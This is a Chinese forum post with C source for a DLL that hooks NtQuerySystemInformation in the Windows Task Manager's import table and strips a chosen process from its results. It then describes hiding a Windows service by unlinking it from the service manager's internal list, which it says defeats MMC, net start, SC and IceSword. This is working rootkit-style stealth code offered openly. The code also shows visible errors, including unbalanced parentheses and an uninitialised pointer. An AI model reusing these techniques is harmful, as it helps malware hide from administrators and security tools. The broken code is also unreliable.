能力值:
( LV13,RANK:970 )
4 楼
windows2000下简单的进程隐藏
by shadow3
大家一看到这个题目,一定会说,这个也太简单了,用CreateRemoteThread不就行了吗,不过我这里并不讨论使用CreateRemoteThread的方法来实现,因为那样根本不是真正的隐藏。
最近看了篇PJF写的文章,他的方法的确很好,不用进入ring0,利用直接读写物理内存的方法修改系统进程双向链表,但是这种方法通用性不是很好,在XP下我试了试,我的朋友EA在用WINDBG调试的时候发现,好象其中KPCR中CurrentThread结构的偏移可能不同(我自己太懒了,没有看),所以需要直接修改程序,但是还有另外的方法,下面我给出一种最简单的方法,请看代码,如果看了我上一篇文章,这里会十分简单。
#define UNICODE
#include <windows.h>
#include "stdafx.h"
#include <imagehlp.h>
#pragma comment(lib,"imagehlp.lib"
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000
typedef LONG NTSTATUS;
typedef DWORD SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS (__stdcall *pNTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;
typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;
typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;
typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON; typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES; int HOOKAPI(void); BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID lpvReserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
/*调试信息,表示DLL已经加载*/
HOOKAPI();
MessageBox(NULL,"HOOKAPI","消息",MB_OK);
break;
case DLL_PROCESS_DETACH:
/*调试信息,表示DLL已经卸载*/
MessageBox(NULL,"DLL被卸载","消息",MB_OK);
break;
}
return TRUE;
}
int HOOKAPI(void)
{
HMODULE hModule;
HMODULE hInstance;
DWORD dwNtQuerySystemInformation;
DWORD dwSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PSTR pszModName;
PIMAGE_THUNK_DATA pThunk;
char debuginfo[50];
hInstance = GetModuleHandle(NULL); //得到进程基地址
wsprintf(debuginfo,"当前进程基地址:0x%x",hInstance);
MessageBox(NULL,debuginfo,"消息",MB_OK);
hModule = GetModuleHandle(TEXT("ntdll.dll");
dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
//得到NtQuerySystemInformation地址
wsprintf(debuginfo,"NtQuerySystemInformation Address:0x%x",dwNtQuerySystemInformation);
MessageBox(NULL,debuginfo,"消息",MB_OK);
pNTQUERYSYSTEMINFORMATION = NtQuerySystemInformation;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hInstance,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if(pImportDesc==NULL)
{
MessageBox(NULL,"不能得到import table地址","消息",MB_OK);
return 0;
}
while (pImportDesc->Name)
{ //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
if (stricmp(pszModName,"ntdll.dll" == 0)
{
break;
}
pImportDesc++;
}
pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hInstance+pImportDesc->FirstThunk);
while (pThunk->u1.Function)
{
PROC* ppfn = (PROC*) &pThunk->u1.Function;
BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);
if (bFound)
{
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);
//pThunk->u1.Function = (DWORD *)pHookCreateProcess;
pThunk->u1.Function = (DWORD *)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
DWORD dwOldProtect;
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
break;
}
pThunk++;
}
return 1;
}
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL)
{
HMODULE hDll;
NTSTATUS NtStatus;
SYSTEM_PROCESSES *lpProcInfo,*lptmp,*lptmp1;
NTQUERYSYSTEMINFORMATION pQuerySystemInformation;
hDll = GetModuleHandle(TEXT("ntdll.dll");
if(hDll==NULL)
{
MessageBoxW(NULL,L"not load ntdll.dll",L"information",MB_OK);
return -1;
}
_try
{
pQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hDll,"NtQuerySystemInformation";
NtStatus = pQuerySystemInformation(SystemInformationClass,SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL);
if(NtStatus==STATUS_INFO_LENGTH_MISMATCH)
{
MessageBox(NULL,"STATUS_INFO_LENGTH_MISMATCH","Information",MB_OK);
_leave;
}
if(NtStatus!=STATUS_SUCCESS)
{
MessageBox(NULL,"NtQuerySystemInformation Failed","Information",MB_OK);
_leave;
}
if(SystemInformationClass!=5)
{
return NtStatus;
}
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
//在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==8)
{
lptmp = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
//lpProcInfo->NextEntryDelta += lptmp->NextEntryDelta;
lptmp1->NextEntryDelta += lpProcInfo->NextEntryDelta;
//lpProcInfo->NextEntryDelta=0;
}
lptmp1 = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
_finally
{
FreeLibrary(hDll);
}
return NtStatus;
} 和我上一篇文章一样,挂钩windows任务管理器中的NtQuerySystemInformation这个函数,什么你问我这个函数是做什么用的,这个函数的功能很强大,是一个NATIVE API,在定义在NTDLL.DLL中,他的作用是查询系统的各种信息,象大家所熟知的Process32First等API,到最后还是要调用他来获取进程信息,关于这个函数的具体信息,请查阅相关文档,这里我们挂钩这个NATVIE API,修改这个函数的返回数据,从中删除我们要隐藏的进程单元,这样就可以简单的完成隐藏进程,不过这种方法的不足之处是,不使用任务管理器,使用其他软件就能查到被隐藏的进程,这点明显不入PJF的方法。
在各位高手面前献丑了,今天就写到这里吧 *********************************************************** 关于隐藏服务的讨论 by shadow3 前几天看到一种方法来隐藏服务
方法来在zzzEVAzzz
EnumServicesStatus等API最终都是历遍SCM内部的ServiceRecordList,这是一个双向链表,在Services.exe进程创建时,由SvcCtrlMain -> ScInitDatabase -> ScGenerateServiceDB 产生。具体位置可从services!ServiceDatabase+0x4获得。
将需要隐藏的服务从链表上断开后,不管是MMC、net start或者SC,甚至IceSword,统统废掉了。 其中的ServiceDatabase是服务数据库的链表头,从NT4代码中,找到其结构为
typedef struct _SERVICE_RECORD {
struct _SERVICE_RECORD *Prev; // linked list
struct _SERVICE_RECORD *Next; // linked list
LPWSTR ServiceName; // points to service name
LPWSTR DisplayName; // points to display name
DWORD ResumeNum; // Ordered number for this rec
DWORD ServerAnnounce; // Server announcement bit flags
DWORD Signature; // Identifies this as a service record.
DWORD UseCount; // How many open handles to service
DWORD StatusFlag; // status(delete,update...)
union {
LPIMAGE_RECORD ImageRecord; // Points to image record
LPWSTR ObjectName; // Points to driver object name
};
SERVICE_STATUS ServiceStatus; // see winsvc.h
DWORD StartType; // AUTO, DEMAND, etc.
DWORD ErrorControl; // NORMAL, SEVERE, etc.
DWORD Tag; // DWORD Id for the service,0=none.
LPDEPEND_RECORD StartDepend;
LPDEPEND_RECORD StopDepend;
LPWSTR Dependencies;
PSECURITY_DESCRIPTOR ServiceSd;
DWORD StartError;
DWORD StartState;
LPLOAD_ORDER_GROUP MemberOfGroup;
LPLOAD_ORDER_GROUP RegistryGroup;
} SERVICE_RECORD, *PSERVICE_RECORD, *LPSERVICE_RECORD;
NE365 magazine V0.1
From NE365